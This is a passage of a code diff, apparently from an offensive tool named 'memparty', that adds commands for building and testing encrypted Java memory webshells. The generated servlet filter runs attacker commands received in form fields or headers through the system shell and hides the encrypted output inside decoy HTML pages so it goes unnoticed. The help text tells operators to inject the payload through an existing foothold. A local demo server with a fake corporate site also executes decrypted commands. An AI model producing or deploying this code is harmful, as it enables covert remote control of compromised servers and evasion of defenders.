@@ -1811,7 +2342,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
1811
2342
  headerName: opts.headerName,
1812
2343
  headerValue: opts.headerValue,
1813
2344
  extraHeaders: parseExtraHeaders(opts.header),
1814
- insecure: opts.insecure
2345
+ insecure: opts.insecure,
2346
+ profile: opts.profile
1815
2347
  });
1816
2348
  } catch (err) {
1817
2349
  reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -1826,21 +2358,18 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
1826
2358
  insecure: conn.insecure
1827
2359
  };
1828
2360
  let result;
1829
- switch (conn.tool) {
1830
- case "godzilla":
1831
- result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
1832
- break;
1833
- case "behinder":
1834
- result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
1835
- break;
1836
- case "suo5":
1837
- result = await testSuo5(conn.url, { ...common, mode: opts.suo5Mode });
1838
- break;
1839
- default:
1840
- process.stderr.write(`Error: unknown tool ${String(conn.tool)}
1841
- `);
1842
- process.exitCode = 1;
1843
- return;
2361
+ try {
2362
+ const protocol = requireProtocol(conn.tool);
2363
+ const options = {
2364
+ suo5Mode: opts.suo5Mode,
2365
+ profile: conn.profile,
2366
+ dynamicPath: opts.dynamicPath
2367
+ };
2368
+ result = await protocol.test({ conn, common, options });
2369
+ } catch (err) {
2370
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
2371
+ process.exitCode = 1;
2372
+ return;
1844
2373
  }
1845
2374
  let savedAs;
1846
2375
  if (result.ok && conn.targetName === void 0 && opts.save !== false) {
@@ -1877,6 +2406,727 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
1877
2406
  });
1878
2407
  }
1879
2408
 
2409
+ // src/commands/custom.ts
2410
+ import { Command as Command2 } from "commander";
2411
+
2412
+ // src/custom/build.ts
2413
+ import { mkdirSync as mkdirSync4, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
2414
+ import { join as join5 } from "path";
2415
+
2416
+ // src/core/jdk.ts
2417
+ var JDK_VERSIONS = {
2418
+ java6: 50,
2419
+ java8: 52,
2420
+ java9: 53,
2421
+ java11: 55,
2422
+ java17: 61,
2423
+ java21: 65
2424
+ };
2425
+ function resolveJreVersion(input3) {
2426
+ if (input3 === void 0 || input3 === "") return void 0;
2427
+ if (typeof input3 === "number") return input3;
2428
+ const normalized = input3.trim().toLowerCase();
2429
+ if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];
2430
+ const withPrefix = `java${normalized}`;
2431
+ if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];
2432
+ const num = Number(normalized);
2433
+ if (Number.isInteger(num) && num > 0) return num;
2434
+ throw new Error(
2435
+ `Invalid JDK version "${input3}". Use one of: ${Object.keys(JDK_VERSIONS).join(", ")}, or a class-file major version like 52.`
2436
+ );
2437
+ }
2438
+
2439
+ // src/custom/java-template.ts
2440
+ function javaStringLiteral(s) {
2441
+ return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
2442
+ }
2443
+ var MD5_METHOD = String.raw`
2444
+ static String md5Hex(String s) throws Exception {
2445
+ MessageDigest m = MessageDigest.getInstance("MD5");
2446
+ byte[] d = m.digest(s.getBytes("UTF-8"));
2447
+ StringBuilder sb = new StringBuilder();
2448
+ for (byte b : d) sb.append(String.format("%02x", b & 0xff));
2449
+ return sb.toString();
2450
+ }
2451
+ `;
2452
+ function cryptMethod(algorithm) {
2453
+ switch (algorithm) {
2454
+ case "aes-ecb":
2455
+ return String.raw`
2456
+ static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
2457
+ Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
2458
+ c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE,
2459
+ new SecretKeySpec(key.getBytes("UTF-8"), "AES"));
2460
+ return c.doFinal(data);
2461
+ }
2462
+ `;
2463
+ case "aes-cbc":
2464
+ return String.raw`
2465
+ static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
2466
+ Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
2467
+ SecretKeySpec ks = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
2468
+ if (enc) {
2469
+ byte[] iv = new byte[16];
2470
+ new java.security.SecureRandom().nextBytes(iv);
2471
+ c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv));
2472
+ byte[] ct = c.doFinal(data);
2473
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2474
+ bos.write(iv);
2475
+ bos.write(ct);
2476
+ return bos.toByteArray();
2477
+ }
2478
+ c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16));
2479
+ return c.doFinal(data, 16, data.length - 16);
2480
+ }
2481
+ `;
2482
+ case "xor":
2483
+ return String.raw`
2484
+ static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
2485
+ byte[] k = key.getBytes("UTF-8");
2486
+ byte[] out = new byte[data.length];
2487
+ for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]);
2488
+ return out;
2489
+ }
2490
+ `;
2491
+ }
2492
+ }
2493
+ function encDecMethods(encoding) {
2494
+ switch (encoding) {
2495
+ case "base64":
2496
+ return String.raw`
2497
+ static String enc(byte[] data) {
2498
+ return java.util.Base64.getEncoder().encodeToString(data);
2499
+ }
2500
+ static byte[] dec(String s) {
2501
+ return java.util.Base64.getDecoder().decode(s);
2502
+ }
2503
+ `;
2504
+ case "base64url":
2505
+ return String.raw`
2506
+ static String enc(byte[] data) {
2507
+ return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data);
2508
+ }
2509
+ static byte[] dec(String s) {
2510
+ return java.util.Base64.getUrlDecoder().decode(s);
2511
+ }
2512
+ `;
2513
+ case "hex":
2514
+ return String.raw`
2515
+ static String enc(byte[] data) {
2516
+ StringBuilder sb = new StringBuilder();
2517
+ for (byte b : data) sb.append(String.format("%02x", b & 0xff));
2518
+ return sb.toString();
2519
+ }
2520
+ static byte[] dec(String s) {
2521
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2522
+ for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
2523
+ return bos.toByteArray();
2524
+ }
2525
+ `;
2526
+ }
2527
+ }
2528
+ var PAD_METHODS = String.raw`
2529
+ static int padLen(String aesKey) throws Exception {
2530
+ return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16;
2531
+ }
2532
+ static String appendPad(String s, String aesKey) throws Exception {
2533
+ int n = padLen(aesKey);
2534
+ StringBuilder sb = new StringBuilder(s);
2535
+ java.util.Random r = new java.util.Random();
2536
+ for (int i = 0; i < n; i++) {
2537
+ sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(r.nextInt(62)));
2538
+ }
2539
+ return sb.toString();
2540
+ }
2541
+ static String stripPad(String s, String aesKey) throws Exception {
2542
+ int n = padLen(aesKey);
2543
+ return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n));
2544
+ }
2545
+ `;
2546
+ function fieldTransforms(cipher) {
2547
+ const afterEncode = cipher.padTail ? "appendPad(s, aesKey)" : "s";
2548
+ const beforeDecode = cipher.padTail ? "stripPad(v, aesKey)" : "v";
2549
+ return `
2550
+ static String encryptField(byte[] plain, String aesKey) throws Exception {
2551
+ String s = enc(crypt(plain, aesKey, true));
2552
+ return ${afterEncode};
2553
+ }
2554
+ static byte[] decryptField(String v, String aesKey) throws Exception {
2555
+ String s = ${beforeDecode};
2556
+ return crypt(dec(s), aesKey, false);
2557
+ }
2558
+ `;
2559
+ }
2560
+ function wrapPayloadMethod(marker) {
2561
+ if (marker === "html-comment") {
2562
+ return String.raw`
2563
+ static String wrapPayload(String payload, String passKey) throws Exception {
2564
+ return "<!--Re" + md5Hex(passKey).substring(0, 5) + "_config:" + payload + "-->";
2565
+ }
2566
+ `;
2567
+ }
2568
+ return String.raw`
2569
+ static String wrapPayload(String payload, String passKey) throws Exception {
2570
+ return "<script>var Re" + md5Hex(passKey).substring(0, 5) + "_config=\"" + payload + "\";</script>";
2571
+ }
2572
+ `;
2573
+ }
2574
+ function sharedMethods(cipher) {
2575
+ return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
2576
+ }
2577
+ function renderFilterJava(opts) {
2578
+ const { className, pass, secret, fields, templates, cipher } = opts;
2579
+ const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
2580
+ const tplsJava = templates.map((t) => ` "${javaStringLiteral(t)}"`).join(",\n");
2581
+ return `package mimic;
2582
+
2583
+ import java.io.*;
2584
+ import java.security.MessageDigest;
2585
+ import javax.crypto.Cipher;
2586
+ import javax.crypto.spec.IvParameterSpec;
2587
+ import javax.crypto.spec.SecretKeySpec;
2588
+ import javax.servlet.*;
2589
+ import javax.servlet.http.*;
2590
+
2591
+ /**
2592
+ * mimic protocol server (matches src/connect/mimic-codecs.ts):
2593
+ * cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
2594
+ *
2595
+ * Detection uses getParameter()/getHeader() only, never reads the body
2596
+ * stream: form posts are parsed+cached by the container so downstream
2597
+ * getParameter() callers still work, and raw-body posts (Behinder) keep an
2598
+ * untouched body stream for the shell behind us. Anything that is not ours
2599
+ * falls through chain.doFilter; any error answers with the cover page.
2600
+ */
2601
+ public class ${className} implements Filter {
2602
+ /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
2603
+ static final String[] FIELDS = { ${fieldsJava} };
2604
+ /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
2605
+ static final String PASS = "${javaStringLiteral(pass)}";
2606
+ static final String SECRET = "${javaStringLiteral(secret)}";
2607
+ /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
2608
+ static final String[] TPLS = {
2609
+ ${tplsJava}
2610
+ };
2611
+
2612
+ public void init(FilterConfig filterConfig) {}
2613
+ public void destroy() {}
2614
+ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2615
+ public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
2616
+ throws IOException, ServletException {
2617
+ String value = null;
2618
+ for (String f : FIELDS) {
2619
+ value = request.getParameter(f);
2620
+ if (value == null && request instanceof HttpServletRequest) {
2621
+ // secretIn=header: the ciphertext may ride a header instead of a form field
2622
+ value = ((HttpServletRequest) request).getHeader(f);
2623
+ }
2624
+ if (value != null) break;
2625
+ }
2626
+ if (value == null) {
2627
+ chain.doFilter(request, response);
2628
+ return;
2629
+ }
2630
+ String aesKey;
2631
+ byte[] cmd;
2632
+ try {
2633
+ aesKey = md5Hex(SECRET).substring(0, 16);
2634
+ cmd = decryptField(value, aesKey);
2635
+ } catch (Exception notOurs) {
2636
+ // the field exists but doesn't decrypt \u2014 this is someone else's
2637
+ // legitimate form (e.g. the real login POST), stay invisible
2638
+ chain.doFilter(request, response);
2639
+ return;
2640
+ }
2641
+ String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
2642
+ try {
2643
+ String command = new String(cmd, "UTF-8");
2644
+ boolean win = System.getProperty("os.name").toLowerCase().contains("win");
2645
+ ProcessBuilder pb = win
2646
+ ? new ProcessBuilder("cmd.exe", "/c", command)
2647
+ : new ProcessBuilder("/bin/sh", "-c", command);
2648
+ pb.redirectErrorStream(true);
2649
+ Process proc = pb.start();
2650
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2651
+ InputStream in = proc.getInputStream();
2652
+ byte[] buf = new byte[8192];
2653
+ int n;
2654
+ while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
2655
+ proc.waitFor();
2656
+ String payload = encryptField(bos.toByteArray(), aesKey);
2657
+ String fragment = wrapPayload(payload, PASS + SECRET);
2658
+ int idx = tpl.toLowerCase().lastIndexOf("</body>");
2659
+ String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
2660
+ response.setContentType("text/html;charset=UTF-8");
2661
+ response.setCharacterEncoding("UTF-8");
2662
+ response.getWriter().write(page);
2663
+ } catch (Exception e) {
2664
+ // behave like the cover page on any error \u2014 stay quiet
2665
+ response.setContentType("text/html;charset=UTF-8");
2666
+ response.getWriter().write(tpl);
2667
+ }
2668
+ }
2669
+ }
2670
+ `;
2671
+ }
2672
+
2673
+ // src/custom/javac.ts
2674
+ import { execFileSync } from "child_process";
2675
+ import { existsSync as existsSync4 } from "fs";
2676
+ import { fileURLToPath } from "url";
2677
+ function servletApiJar() {
2678
+ const candidates = [
2679
+ new URL("../resources/javax.servlet-api-3.1.0.jar", import.meta.url),
2680
+ // dist/*.js
2681
+ new URL("../../resources/javax.servlet-api-3.1.0.jar", import.meta.url)
2682
+ // src/custom/*.ts
2683
+ ];
2684
+ for (const candidate of candidates) {
2685
+ const p = fileURLToPath(candidate);
2686
+ if (existsSync4(p)) return p;
2687
+ }
2688
+ throw new Error(
2689
+ "bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)"
2690
+ );
2691
+ }
2692
+ function findJavac() {
2693
+ try {
2694
+ execFileSync("javac", ["-version"], { stdio: "pipe" });
2695
+ return "javac";
2696
+ } catch {
2697
+ throw new Error(
2698
+ "javac not found on PATH \u2014 'memparty custom build' compiles Java locally, install any JDK 11+ and retry"
2699
+ );
2700
+ }
2701
+ }
2702
+ function compileJava(sources, outDir, opts = {}) {
2703
+ const javac = findJavac();
2704
+ const args = ["-encoding", "UTF-8", "--release", "8"];
2705
+ if (opts.classpath && opts.classpath.length > 0) {
2706
+ args.push("-cp", opts.classpath.join(process.platform === "win32" ? ";" : ":"));
2707
+ }
2708
+ args.push("-d", outDir, ...sources);
2709
+ execFileSync(javac, args, { stdio: "pipe" });
2710
+ }
2711
+
2712
+ // src/custom/build.ts
2713
+ function profileSecretFields(profile) {
2714
+ const shapes = profileRequests(profile);
2715
+ const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
2716
+ return fields.length > 0 ? fields : ["pass"];
2717
+ }
2718
+ function defaultClassName() {
2719
+ return `MimicFilter${randomString(4)}`;
2720
+ }
2721
+ async function buildCustomMemshell(input3, client, deps = {}) {
2722
+ const compile = deps.compile ?? compileJava;
2723
+ const jarOf = deps.servletJar ?? servletApiJar;
2724
+ const className = input3.className ?? defaultClassName();
2725
+ const shellType = input3.shellType ?? "Filter";
2726
+ const urlPattern = input3.urlPattern ?? "/*";
2727
+ const packer = input3.packer ?? "DefaultBase64";
2728
+ const cipher = resolveCipher(input3.profile.cipher);
2729
+ const templates = profileTemplates(input3.profile).map((t) => t.template);
2730
+ if (templates.length === 0) {
2731
+ throw new Error(`profile '${input3.profile.name}' has no templates \u2014 nothing to use as cover page`);
2732
+ }
2733
+ const outDir = input3.outDir;
2734
+ const packageDir = join5(outDir, "mimic");
2735
+ mkdirSync4(packageDir, { recursive: true });
2736
+ const javaSource = renderFilterJava({
2737
+ className,
2738
+ pass: input3.pass,
2739
+ secret: input3.secret,
2740
+ fields: profileSecretFields(input3.profile),
2741
+ templates,
2742
+ cipher
2743
+ });
2744
+ const javaFile = join5(packageDir, `${className}.java`);
2745
+ writeFileSync3(javaFile, javaSource, "utf8");
2746
+ compile([javaFile], outDir, { classpath: [jarOf()] });
2747
+ const classFile = join5(packageDir, `${className}.class`);
2748
+ const shellClassBase64 = readFileSync5(classFile).toString("base64");
2749
+ const response = await client.generateMemShell({
2750
+ shellConfig: {
2751
+ server: input3.server,
2752
+ shellTool: "Custom",
2753
+ shellType,
2754
+ targetJreVersion: resolveJreVersion(input3.jdk ?? "java8")
2755
+ },
2756
+ shellToolConfig: {
2757
+ shellClassName: `mimic.${className}`,
2758
+ shellClassBase64
2759
+ },
2760
+ injectorConfig: { urlPattern },
2761
+ packer
2762
+ });
2763
+ const payloads = {};
2764
+ if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
2765
+ for (const [name, value] of Object.entries(response.allPackResults)) {
2766
+ const file = join5(outDir, `payload-${name}.txt`);
2767
+ writeFileSync3(file, `${value}
2768
+ `, "utf8");
2769
+ payloads[name] = file;
2770
+ }
2771
+ } else if (response.packResult !== void 0) {
2772
+ const file = join5(outDir, "payload.txt");
2773
+ writeFileSync3(file, `${response.packResult}
2774
+ `, "utf8");
2775
+ payloads[packer] = file;
2776
+ }
2777
+ const result = {
2778
+ className,
2779
+ fullClassName: `mimic.${className}`,
2780
+ injectorClassName: response.memShellResult.injectorClassName,
2781
+ packer,
2782
+ server: input3.server,
2783
+ shellType,
2784
+ urlPattern,
2785
+ pass: input3.pass,
2786
+ secret: input3.secret,
2787
+ cipher,
2788
+ response,
2789
+ files: {
2790
+ java: javaFile,
2791
+ classFile,
2792
+ manifest: join5(outDir, "manifest.json"),
2793
+ payloads
2794
+ }
2795
+ };
2796
+ const manifest = {
2797
+ tool: "mimic",
2798
+ createdAt: (/* @__PURE__ */ new Date()).toISOString(),
2799
+ profile: input3.profile.name,
2800
+ server: result.server,
2801
+ shellType: result.shellType,
2802
+ urlPattern: result.urlPattern,
2803
+ packer: result.packer,
2804
+ className: result.fullClassName,
2805
+ injectorClassName: result.injectorClassName,
2806
+ pass: result.pass,
2807
+ key: result.secret,
2808
+ cipher: result.cipher,
2809
+ note: "pass/key/cipher are baked into the filter class. Editing the profile's cipher section afterwards desynchronizes client and server \u2014 rebuild and re-inject.",
2810
+ connect: `memparty connect -u <shell-url> -t mimic --profile ${input3.profile.name} --pass ${result.pass} --key ${result.secret}`,
2811
+ files: result.files
2812
+ };
2813
+ writeFileSync3(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
2814
+ `, "utf8");
2815
+ return result;
2816
+ }
2817
+
2818
+ // src/commands/custom.ts
2819
+ function registerCustomCommand(program) {
2820
+ program.command("custom").description("Custom (mimic) memory shells built from a site profile").addCommand(
2821
+ new Command2("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
2822
+ "after",
2823
+ `
2824
+ The full loop (see docs/mimic-memshell-guide.md):
2825
+ 1. write a site profile memparty profile init acme --site https://acme.cn
2826
+ 2. build the shell memparty custom build --profile acme --server Tomcat
2827
+ 3. inject payload-*.txt via your foothold (RCE / existing shell / upload)
2828
+ 4. connect + exec memparty connect -u <url> -t mimic --profile acme ...
2829
+
2830
+ Delivery is NOT part of this command \u2014 it only builds the payload.
2831
+ Requires a JDK (javac on PATH) and a MemShellParty backend (--api).
2832
+ `
2833
+ ).action(async (opts, cmd) => {
2834
+ const globals = cmd.optsWithGlobals();
2835
+ const fail = (message) => {
2836
+ reportError(message, opts.json ? ["--json"] : []);
2837
+ process.exitCode = 1;
2838
+ };
2839
+ let profile;
2840
+ try {
2841
+ profile = loadProfile(opts.profile);
2842
+ } catch (err) {
2843
+ fail(err instanceof Error ? err.message : String(err));
2844
+ return;
2845
+ }
2846
+ const pass = opts.pass ?? randomString(10);
2847
+ const secret = opts.key ?? randomString(16);
2848
+ const outDir = opts.out ?? `${opts.profile}-build`;
2849
+ const client = createClient(globals);
2850
+ const started = Date.now();
2851
+ try {
2852
+ const result = await buildCustomMemshell(
2853
+ {
2854
+ profile,
2855
+ server: opts.server,
2856
+ shellType: opts.type,
2857
+ pass,
2858
+ secret,
2859
+ urlPattern: opts.urlPattern,
2860
+ packer: opts.packer,
2861
+ jdk: opts.jdk,
2862
+ outDir
2863
+ },
2864
+ client
2865
+ );
2866
+ logOp({
2867
+ category: "gen",
2868
+ action: "custom-build",
2869
+ ok: true,
2870
+ durationMs: Date.now() - started,
2871
+ detail: `${result.fullClassName} -> ${result.injectorClassName} (${result.server}/${result.shellType})`,
2872
+ meta: {
2873
+ profile: profile.name,
2874
+ server: result.server,
2875
+ shellType: result.shellType,
2876
+ packer: result.packer
2877
+ }
2878
+ });
2879
+ if (opts.json) {
2880
+ const { response: _response, ...summary } = result;
2881
+ process.stdout.write(`${JSON.stringify({ ok: true, ...summary }, null, 2)}
2882
+ `);
2883
+ return;
2884
+ }
2885
+ logInfo(`filter class: ${result.fullClassName}`);
2886
+ logInfo(
2887
+ `injector class: ${result.injectorClassName} (server=${result.server}, type=${result.shellType})`
2888
+ );
2889
+ logInfo(`credentials: --pass ${result.pass} --key ${result.secret}`);
2890
+ logInfo(`cipher: ${JSON.stringify(result.cipher)}`);
2891
+ for (const [name, file] of Object.entries(result.files.payloads)) {
2892
+ logInfo(`payload [${name}]: ${file}`);
2893
+ }
2894
+ logInfo(`manifest: ${result.files.manifest}`);
2895
+ process.stdout.write(
2896
+ `
2897
+ next steps:
2898
+ 1. inject the payload via your foothold (RCE defineClass / existing shell / upload)
2899
+ 2. memparty connect -u <shell-url> -t mimic --profile ${profile.name} --pass ${result.pass} --key ${result.secret}
2900
+ 3. memparty exec <host>/mimic --cmd "id"
2901
+ `
2902
+ );
2903
+ } catch (err) {
2904
+ logOp({
2905
+ category: "gen",
2906
+ action: "custom-build",
2907
+ ok: false,
2908
+ durationMs: Date.now() - started,
2909
+ error: err instanceof Error ? err.message : String(err),
2910
+ meta: { profile: profile.name, server: opts.server }
2911
+ });
2912
+ fail(err instanceof Error ? err.message : String(err));
2913
+ }
2914
+ })
2915
+ );
2916
+ }
2917
+
2918
+ // src/connect/mimic-server.ts
2919
+ import { exec } from "child_process";
2920
+ import http2 from "http";
2921
+ function tryDecrypt(b64, aesKey, cipher = resolveCipher()) {
2922
+ try {
2923
+ return decryptField2(b64, aesKey, cipher);
2924
+ } catch {
2925
+ return null;
2926
+ }
2927
+ }
2928
+ var SITE_TITLE = "\u4E91\u67A2\u79D1\u6280 - \u4F01\u4E1A\u6570\u5B57\u5316\u670D\u52A1\u5546";
2929
+ var NAV = `<nav><a href="/">\u9996\u9875</a> <a href="/products/">\u4EA7\u54C1\u4E2D\u5FC3</a> <a href="/news/">\u65B0\u95FB\u52A8\u6001</a> <a href="/about/">\u5173\u4E8E\u6211\u4EEC</a></nav>`;
2930
+ var PAGES = {
2931
+ "/": `<!DOCTYPE html>
2932
+ <html lang="zh-CN">
2933
+ <head>
2934
+ <meta charset="UTF-8">
2935
+ <title>${SITE_TITLE}</title>
2936
+ </head>
2937
+ <body>
2938
+ <header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
2939
+ <main>
2940
+ <h2>\u8BA9\u4F01\u4E1A\u6570\u636E\u6D41\u52A8\u8D77\u6765</h2>
2941
+ <p>\u4E91\u67A2\u79D1\u6280\u4E3A\u4E2D\u578B\u4F01\u4E1A\u63D0\u4F9B\u6570\u636E\u96C6\u6210\u3001\u62A5\u8868\u53EF\u89C6\u5316\u4E0E\u6D41\u7A0B\u81EA\u52A8\u5316\u670D\u52A1\u3002</p>
2942
+ <ul>
2943
+ <li><a href="/products/yunetl.html">\u4E91\u67A2 ETL \u5E73\u53F0</a></li>
2944
+ <li><a href="/products/yunbi.html">\u4E91\u67A2 BI \u62A5\u8868</a></li>
2945
+ <li><a href="/news/2024/release-notes.html">2024 \u4EA7\u54C1\u53D1\u5E03\u8BF4\u660E</a></li>
2946
+ </ul>
2947
+ </main>
2948
+ <footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280 \u4EACICP\u59072024000000\u53F7</footer>
2949
+ </body>
2950
+ </html>`,
2951
+ "/products/": `<!DOCTYPE html>
2952
+ <html lang="zh-CN">
2953
+ <head>
2954
+ <meta charset="UTF-8">
2955
+ <title>\u4EA7\u54C1\u4E2D\u5FC3 - \u4E91\u67A2\u79D1\u6280</title>
2956
+ </head>
2957
+ <body>
2958
+ <header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
2959
+ <main><h2>\u4EA7\u54C1\u4E2D\u5FC3</h2><p>ETL / BI / \u6D41\u7A0B\u81EA\u52A8\u5316\u4E09\u5927\u4EA7\u54C1\u7EBF\u3002</p></main>
2960
+ <footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
2961
+ </body>
2962
+ </html>`,
2963
+ "/news/": `<!DOCTYPE html>
2964
+ <html lang="zh-CN">
2965
+ <head>
2966
+ <meta charset="UTF-8">
2967
+ <title>\u65B0\u95FB\u52A8\u6001 - \u4E91\u67A2\u79D1\u6280</title>
2968
+ </head>
2969
+ <body>
2970
+ <header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
2971
+ <main><h2>\u65B0\u95FB\u52A8\u6001</h2><p>\u4E91\u67A2 ETL 3.2 \u53D1\u5E03\uFF0C\u65B0\u589E\u5B9E\u65F6\u540C\u6B65\u901A\u9053\u3002</p></main>
2972
+ <footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
2973
+ </body>
2974
+ </html>`
2975
+ };
2976
+ var NOT_FOUND = `<!DOCTYPE html>
2977
+ <html lang="zh-CN">
2978
+ <head>
2979
+ <meta charset="UTF-8">
2980
+ <title>\u9875\u9762\u4E0D\u5B58\u5728 - \u4E91\u67A2\u79D1\u6280</title>
2981
+ </head>
2982
+ <body>
2983
+ <header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
2984
+ <main><h2>404</h2><p>\u60A8\u8BBF\u95EE\u7684\u9875\u9762\u4E0D\u5B58\u5728\u3002</p></main>
2985
+ <footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
2986
+ </body>
2987
+ </html>`;
2988
+ var MOCK_HOMEPAGE = PAGES["/"];
2989
+ function runCommand(command, timeoutMs) {
2990
+ return new Promise((resolve2) => {
2991
+ exec(command, { timeout: timeoutMs, windowsHide: true }, (err, stdout, stderr) => {
2992
+ if (err && !stdout && !stderr) {
2993
+ resolve2(`command failed: ${err.message}`);
2994
+ return;
2995
+ }
2996
+ resolve2(stdout + stderr);
2997
+ });
2998
+ });
2999
+ }
3000
+ async function startMimicServer(options = {}) {
3001
+ const pass = options.pass ?? "pass";
3002
+ const secretKey = options.secretKey ?? "key";
3003
+ const cipher = resolveCipher(options.cipher);
3004
+ const aesKey = deriveAesKey(secretKey);
3005
+ const markers = deriveMarkers(pass, secretKey, cipher);
3006
+ const execTimeoutMs = options.execTimeoutMs ?? 5e3;
3007
+ const skin = PAGES["/"];
3008
+ const server = http2.createServer((req, res) => {
3009
+ if (req.method === "POST") {
3010
+ const chunks = [];
3011
+ req.on("data", (c) => chunks.push(c));
3012
+ req.on("end", () => {
3013
+ let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey, cipher);
3014
+ if (command === null) {
3015
+ const query = new URL(req.url ?? "/", "http://x").searchParams.get(pass);
3016
+ if (query) command = tryDecrypt(query, aesKey, cipher);
3017
+ }
3018
+ if (command === null) {
3019
+ const header = req.headers[pass.toLowerCase()];
3020
+ if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
3021
+ }
3022
+ if (command === null) {
3023
+ res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
3024
+ res.end(NOT_FOUND);
3025
+ return;
3026
+ }
3027
+ void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
3028
+ const b64 = encryptField2(Buffer.from(output, "utf8"), aesKey, cipher);
3029
+ res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
3030
+ res.end(injectFragment(skin, markers.wrap(b64)));
3031
+ });
3032
+ });
3033
+ return;
3034
+ }
3035
+ const page = PAGES[req.url ?? "/"] ?? NOT_FOUND;
3036
+ res.writeHead(PAGES[req.url ?? "/"] ? 200 : 404, {
3037
+ "Content-Type": "text/html; charset=utf-8"
3038
+ });
3039
+ res.end(page);
3040
+ });
3041
+ await new Promise((resolve2) => server.listen(0, "127.0.0.1", resolve2));
3042
+ const { port } = server.address();
3043
+ return {
3044
+ url: `http://127.0.0.1:${port}/`,
3045
+ port,
3046
+ close: () => new Promise((resolve2) => server.close(() => resolve2()))
3047
+ };
3048
+ }
3049
+
3050
+ // src/commands/demo.ts
3051
+ function demoProfile(site) {
3052
+ return {
3053
+ name: "demo",
3054
+ site,
3055
+ createdAt: (/* @__PURE__ */ new Date()).toISOString(),
3056
+ templates: [
3057
+ {
3058
+ title: "\u4E91\u67A2\u79D1\u6280 - \u4F01\u4E1A\u6570\u5B57\u5316\u670D\u52A1\u5546",
3059
+ template: MOCK_HOMEPAGE,
3060
+ contentType: "text/html; charset=utf-8"
3061
+ }
3062
+ ],
3063
+ paths: ["/products/", "/news/", "/about/"]
3064
+ };
3065
+ }
3066
+ function registerDemoCommand(program) {
3067
+ program.command("demo").description(
3068
+ "Run the mimic protocol end-to-end locally: fake business site + profile + connect + one exec (no external traffic)"
3069
+ ).option("--cmd <command>", "command to execute on the fake target", "whoami").option("--json", "output raw JSON").addHelpText(
3070
+ "after",
3071
+ `
3072
+ This is the reference walk-through for the mimic plugin:
3073
+ 1. starts a fake business site on 127.0.0.1 (a mimic shell hides in it)
3074
+ 2. loads a hand-written site profile (in real engagements the operator
3075
